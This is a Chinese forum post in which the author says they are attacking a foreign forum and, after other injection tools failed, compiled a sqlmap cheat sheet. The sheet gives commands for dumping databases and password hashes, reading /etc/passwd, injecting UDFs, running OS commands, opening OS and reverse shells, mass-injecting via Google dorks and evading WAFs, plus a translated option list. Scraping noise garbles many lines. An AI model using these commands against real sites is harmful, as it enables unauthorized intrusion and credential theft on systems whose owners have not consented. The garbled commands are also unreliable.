今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、0 s5 D) e1 R/ L; \2 I t9 G6 V
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
% m7 m* l i0 msqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名: x9 k L: {; Q$ s1 z" d
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段0 V' C+ O; n' A) t c! Y
i9 `1 P/ \9 l, k
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
. C* R9 ~. l# Y0 #获取字段内容
1 t* Y' e* T# N. A! f- K " P! B; D5 {* h D+ {4 x& z8 t
******************信息获取******************
. h: {: |) l/ ?1 d. \sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
- S8 M7 o! D- o, j$ fsqlmap -u “http://url/news?id=1″ –users #列数据库用户! `* @* M) L! i5 f: g2 j
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
; Q- \# r$ g8 S2 Xsqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码7 v; O2 [7 ~# Y3 s9 U" O, _7 \- ]
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码; M; u) Z3 g( W5 C# s7 |$ c
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”. }6 L! ~- z* _) V' ?! ^/ J
–start 1 –stop 20 #列出指定字段,列出20 条$ Y/ K- S: k, A9 r6 s
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表7 X+ y1 T1 k; }5 E: W& ^
sqlmap -u “http://url/news?id=1″ –privileges #查看权限9 ~# n' G ]+ ]7 d2 Q5 Y
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
8 c. y' `$ u4 Z. Psqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!), u# Y. p. }( r6 H- Z: `1 I) P
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
) ]' j5 ?: o1 S& q& ^sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录5 p" t) V1 ?1 Y+ t# @
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入6 V0 S1 C! G* ?4 [
sqlmap -u “http://url/news?id=1″-b #获取banner信息# F- v4 Q3 S7 \' W
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
, ^& A8 E7 _5 y! Osqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型3 [( k3 \) I, _/ B3 m' P/ x" Q
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入; N9 ^6 ]1 v) X- k
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
, o) i6 w$ W9 {9 C* @sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令8 {7 ~* i, m3 I; o
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
' c+ x" I/ ^& }- L7 O [sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
9 i R: v, N5 H9 c( Z3 }sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell. C9 B# v& b0 k1 p
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表0 f9 u* n) f2 a' y
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
5 e8 @! G4 L) h! msqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度/ L! C/ G ]2 B* b5 P z! a
***********高级用法*************
* k3 b& v5 g/ R4 W% r; e" e-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
% n+ H+ l6 m" m( d$ D3 G3 _2 H5 N0 a- ^sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问 O6 V7 q8 U0 E0 K- F1 a n/ m
–technique 测试指定注入类型\使用的技术
* G' n1 f. a& R# f5 E% N9 D* V; H8 a$ L不加参数默认测试所有注入技术! W: P- G* z' o1 H. K
• B: 基于布尔的SQL 盲注
' a& g- i# O; o1 S' w/ d• E: 基于显错sql 注入& M& p ?9 C+ \) u
• U: 基于UNION 注入
2 o7 K/ y4 @9 `0 ]# p- k& C' J• S: 叠层sql 注入9 e& ?; r: c7 d# b8 Q
• T: 基于时间盲注) m' V+ _$ o1 e* L
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char(): H: z" m& G- }6 ]1 D! [
–tamper 插件所在目录
. `+ B6 J5 H7 G2 N6 p; C\sqlmap-dev\tamper- [. x1 K$ H) y! b, n* {
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
! N' Z* [/ X3 e' F9 O0 tlevel 执行测试等级 攻击实例:
+ _3 ]. }% f5 T% S( b4 D( mSqlmap -u “http://url/news?id=1&Submit=Submit”
" S3 T# S5 n( O1 l–cookie=”PHPSESSID=41aa833e6d0d1 X( _( O# f% i
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
5 X( S0 I: G; ^1 {4 o1 \–password! _2 m3 J8 P. n7 v* C2 R
参考文档:http://sqlmap.sourceforge.net/doc/README.html
4 L7 H4 V2 _ J***********安装最新版本*************
4 {. l1 B6 |) ]+ P* t! `( J& q: rubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
m% C+ X' T, Isudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev `9 g2 T% N ~5 g# Q( t$ ?6 m' [
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件- M8 D1 H( q% w
sudo vim /home/当前用户/.bashrc
+ @. I, L( D* e) m. s: J, O5 Z A#任意位置加上:1 P1 [. s: j' N0 i
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效2 w, ^3 X. V2 j
如果想对所有用户有效 可设置全局 编辑下面的文件
* V: _3 R- L0 _4 n6 \# Rvim /etc/profile3 F' O- o: ?; S2 r: V
同样加上:0 d* G: d' D# Y" k* u# M) u
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效0 ]. e; m0 k. L" R) J% d
******************windows 7 (x64) sqlmap install (SVN)************
; o' N1 g$ b9 ohttp://www.python.org/getit/ 安装python% i" p8 q/ w& N0 V, M3 s" p
http://www.sliksvn.com/en/download 安装windows svn client
8 C4 p, o4 R6 V }svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
# ?5 W9 z7 a4 ^2 P- I7 H安装sqlmap
% r1 |# R- \) X% d/ c& z5 a*修改环境变量
, B7 V* n ~* U! j$ r–version 显示程序的版本号并退出5 d) n8 U+ Z+ N0 s# @9 y4 A
-h, –help 显示此帮助消息并退出
( u9 w) t" W. g$ X: T6 M-v VERBOSE 详细级别:0-6(默认为1) C) N! n0 D W7 C- s! y
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
1 p* L6 k* [. m" D" k0 m-d DIRECT 直接连接到数据库。
1 y4 }# K7 {( J* B h U-u URL, –url=URL 目标URL。$ p' }) ~1 K" V/ e8 W
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。
$ r. W8 }) O! p6 ^( V+ l8 j-r REQUESTFILE 从一个文件中载入HTTP 请求。
) X5 ?1 u7 P7 ^-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
) @- k- Z, s* X0 l% ?/ \% w-c CONFIGFILE 从INI 配置文件中加载选项。
& u+ w$ q* K9 h+ {6 J( l, HRequest(请求)::2 s: C4 h, Z; N3 c/ I8 e
这些选项可以用来指定如何连接到目标URL。
8 i2 w8 Q, e, U: J; h4 W–data=DATA 通过POST 发送的数据字符串
% I5 ]/ h' r- Y. ^, c8 A7 k–cookie=COOKIE HTTP Cookie 头# T9 G; P3 p5 ^2 _. h
–cookie-urlencode URL 编码生成的cookie 注入* w' I: I8 q7 I# \
–drop-set-cookie 忽略响应的Set –Cookie 头信息! I# j$ Y* ?0 t8 s
$ e: W' O4 u/ H: Z1 ?; \+ _ h
–user-agent=AGENT 指定 HTTP User –Agent 头) M6 P- ]& P; e* a- ]* V9 R
–random-agent 使用随机选定的HTTP User –Agent 头* `/ ^9 g; ~ M$ I
–referer=REFERER 指定 HTTP Referer 头+ Z, ]& ?9 @: {
–headers=HEADERS 换行分开,加入其他的HTTP 头
& Z& ~0 x+ Z# b0 g–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)4 p1 w, C' X' E2 X& G3 u
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码) F$ M: `( L# S3 s! M; V1 i0 Q
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
' E0 L8 \! b4 u6 V2 {: V2 L+ ]3 O$ i–proxy=PROXY 使用HTTP 代理连接到目标URL
; s# }# a5 @! {/ X1 N+ W1 V–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
; X* k/ o3 P$ w( _& Y- R' ?–ignore-proxy 忽略系统默认的HTTP 代理" p* K- l" i5 Q8 |, L
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒
4 M! ?4 {0 o- l# Q–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒); R" w) r- v7 A& v
–retries=RETRIES 连接超时后重新连接的时间(默认3)
1 |7 s- ?1 h- K6 K8 Y–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式* E4 h+ v+ T0 o. L7 ]7 b
–safe-url=SAFURL 在测试过程中经常访问的url 地址* A2 R! D+ x$ i$ r( W" ]0 W: B
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL) e- a: Q2 R: X% b1 }" H5 x( a
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
; d! x+ B( W( z-o 开启所有优化开关
/ U' n4 L. M, @9 ?( \–predict-output 预测常见的查询输出
" C1 e' Y9 ]! Y i–keep-alive 使用持久的HTTP(S)连接# A# A1 [% N) K' A! |6 F
–null-connection 从没有实际的HTTP 响应体中检索页面长度, \+ L: E9 X7 d$ d J8 A
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)" t8 h3 L* C% k+ w4 j1 N4 h) b
Injection(注入):! z& M- K3 n8 K$ P1 \ ^
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
$ j! y) a$ s5 @3 {5 g-p TESTPARAMETER 可测试的参数(S)
8 A( C9 h" |. j5 Y) J3 h–dbms=DBMS 强制后端的DBMS 为此值
! G4 X$ L+ d9 L3 V0 Y–os=OS 强制后端的DBMS 操作系统为这个值9 D( V: l/ f" l& `! j
–prefix=PREFIX 注入payload 字符串前缀
5 N! V5 C: Y: O6 Z( T–suffix=SUFFIX 注入 payload 字符串后缀
7 s# N% W0 }# p0 y% Q$ \* R. k–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
& s( f# B3 m% B% A! nDetection(检测):
: c$ v; s2 J+ T2 F& v% R这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。1 x: V0 C7 j( o! u
–level=LEVEL 执行测试的等级(1-5,默认为1)
. ?! V- b) v1 F' z" t7 l–risk=RISK 执行测试的风险(0-3,默认为1)" m1 n" g4 u: M) G# z* J; t
–string=STRING 查询时有效时在页面匹配字符串
O+ t2 I9 g: F+ o- ^) o( o1 V–regexp=REGEXP 查询时有效时在页面匹配正则表达式
0 R m; ^7 ?5 X: f' V–text-only 仅基于在文本内容比较网页* \) W$ }3 @% c6 }9 `3 w
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
+ {2 B) e" _& `: c9 G, c2 z6 v–technique=TECH SQL 注入技术测试(默认BEUST)& {0 E8 U+ w V B
–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)
+ s3 u+ A# a+ L2 t- w5 ?–union-cols=UCOLS 定列范围用于测试UNION 查询注入
8 x/ h! Q# ?$ `% W5 y–union-char=UCHAR 用于暴力猜解列数的字符 u/ K- P1 O* k, S& i0 ]
Fingerprint(指纹):/ N0 N k) Y/ c- t7 }- J
-f, –fingerprint 执行检查广泛的DBMS 版本指纹
8 n$ X" c, A1 L& _Enumeration(枚举):
5 i+ W9 }8 d7 z1 f; w# \# j: s7 K
1 F! V) A) R: x0 {/ S这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。2 L! {( i# ~+ f$ }- m1 Z6 v1 Y% x
-b, –banner 检索数据库管理系统的标识8 U' |% [' Q& ^( e0 k1 p6 V( C
–current-user 检索数据库管理系统当前用户
2 m! _0 L3 W- b–current-db 检索数据库管理系统当前数据库
# w) S4 ?9 w" v" T a–is-dba 检测DBMS 当前用户是否DBA- p! X: _& O% {3 d- V' \/ C
–users 枚举数据库管理系统用户
7 S% B, f% N3 z( J$ [–passwords 枚举数据库管理系统用户密码哈希% M- P$ e! S6 ~* ^2 ]9 y
–privileges 枚举数据库管理系统用户的权限
( D5 f( }( X5 s: I4 R: \9 F–roles 枚举数据库管理系统用户的角色
. |7 i$ v% v9 ~! s, a–dbs 枚举数据库管理系统数据库
- ]8 t5 q3 ]3 ?6 O/ S$ v* D, p–tables 枚举的DBMS 数据库中的表9 o! x7 K/ V+ G
–columns 枚举DBMS 数据库表列
% W" O: k9 X6 d) Z. a0 r) g–dump 转储数据库管理系统的数据库中的表项6 H, C+ ~; G1 h( q! O8 u
–dump-all 转储所有的DBMS 数据库表中的条目
% O' W6 _8 |% m# P–search 搜索列(S),表(S)和/或数据库名称(S)
! D3 ~) L6 K: q$ z C-D DB 要进行枚举的数据库名% L4 F3 ~& m3 v: J% Y
-T TBL 要进行枚举的数据库表, {6 {7 z& `4 R
-C COL 要进行枚举的数据库列
* F# g$ A9 q# i/ G9 S-U USER 用来进行枚举的数据库用户
+ M5 t. J' r, `/ v5 f4 u–exclude-sysdbs 枚举表时排除系统数据库. t0 }" L5 Q; h6 G& K" H
–start=LIMITSTART 第一个查询输出进入检索' t' q H: h P: T) S- u
–stop=LIMITSTOP 最后查询的输出进入检索
7 g% \1 V3 O4 Z0 O–first=FIRSTCHAR 第一个查询输出字的字符检索
! f2 X, y$ U5 i6 L–last=LASTCHAR 最后查询的输出字字符检索7 n4 u9 B" G4 D. o/ c, w; P+ O$ W
–sql-query=QUERY 要执行的SQL 语句
& N) `: w" j4 F, j" p3 n: [–sql-shell 提示交互式SQL 的shell8 T5 @# U+ a" }( }4 C" x& n
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。5 c5 b; B4 \4 b; D
–common-tables 检查存在共同表
8 y- |0 {5 W0 u–common-columns 检查存在共同列$ L; f0 a) \+ f* l6 r* S
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。; q+ @8 s5 _( @% h/ y8 I1 e
–udf-inject 注入用户自定义函数0 X' ]7 P, ]9 K t1 n0 K) I: F" f
–shared-lib=SHLIB 共享库的本地路径+ h3 R8 `/ v) w9 G0 G
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。" G2 J x# O2 J7 t; b7 }
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件' T6 b4 W+ J, n1 y% C
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件, o4 S% L" _! r8 L: ~* h
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
; D2 Q7 p V; _7 ?7 F- sOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
" X% M" q2 \1 [, _2 |1 D–os-cmd=OSCMD 执行操作系统命令% _/ i# Y$ B5 q" @
–os-shell 交互式的操作系统的shell' V+ Z! E) Y1 r ]
–os-pwn 获取一个OOB shell,meterpreter 或VNC+ s# j8 g5 C4 T, B" I
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC
( i5 _2 k4 v/ Y, G8 ]$ A0 U–os-bof 存储过程缓冲区溢出利用0 I5 a3 a7 ~$ Y% B# _
–priv-esc 数据库进程用户权限提升
$ H! Y* }* G2 l–msf-path=MSFPATH Metasploit Framework 本地的安装路径0 P: j' B5 @ \( T- s2 E) ~& h1 c+ {
–tmp-path=TMPPATH 远程临时文件目录的绝对路径: }4 D! L6 G( A3 t- f* X. U+ h
: b/ V2 }. q: Z K& }0 ^, M
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
: Y: P( m7 d9 [4 N–reg-read 读一个Windows 注册表项值; l1 _! _# p& \" k
–reg-add 写一个Windows 注册表项值数据
9 t9 ?; {& o) y+ M& K" X1 e–reg-del 删除Windows 注册表键值. D0 i4 p$ E/ U7 M" m" J/ F* }4 q
–reg-key=REGKEY Windows 注册表键
/ J, Z! G, S3 I; K! [) x–reg-value=REGVAL Windows 注册表项值
% B1 J: k; g1 a* I) ^–reg-data=REGDATA Windows 注册表键值数据1 T: h% N; y) E) O7 q: ]
–reg-type=REGTYPE Windows 注册表项值类型2 H# a4 B( M; D4 B, ?- ~
General(一般): 这些选项可以用来设置一些一般的工作参数。
7 _ H9 e" d5 q4 @3 g-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中* G0 P( K) u% l# y
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
J$ d- m8 }3 f/ |" @/ Q–flush-session 刷新当前目标的会话文件
; h, A& Q" c: C–fresh-queries 忽略在会话文件中存储的查询结果
) \. j5 ]' {- }. K–eta 显示每个输出的预计到达时间/ U: {$ N8 _2 h
–update 更新SqlMap
9 @$ z0 v) _! R7 W7 M–save file 保存选项到INI 配置文件
1 a5 u0 H' e1 x- A0 A1 V–batch 从不询问用户输入,使用所有默认配置。
% m) B# ]' j# T2 v1 ]7 Q9 z1 ^Miscellaneous(杂项):
4 F7 H% r9 o' s& j4 j' D. v–beep 发现SQL 注入时提醒/ K0 M' z9 k7 t# d$ p" }
–check-payload IDS 对注入payloads 的检测测试2 c7 ~( q; q. Z. J0 {# M" x$ Z. b
–cleanup SqlMap 具体的UDF 和表清理DBMS: u2 r/ Y9 }/ e, K T' Q: v! {
–forms 对目标URL 的解析和测试形式
* }1 M" n6 {3 w$ N–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果
$ N" W+ \6 x8 ?" K–page-rank Google dork 结果显示网页排名(PR)$ X. F" R. \9 C# x) p8 c
–parse-errors 从响应页面解析数据库管理系统的错误消息
/ J. m- E. [9 F$ W–replicate 复制转储的数据到一个sqlite3 数据库' t8 {0 P0 m% J: }) G- D
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
0 Z/ E8 y4 z# p6 J% k8 t5 q) D–wizard 给初级用户的简单向导界面 |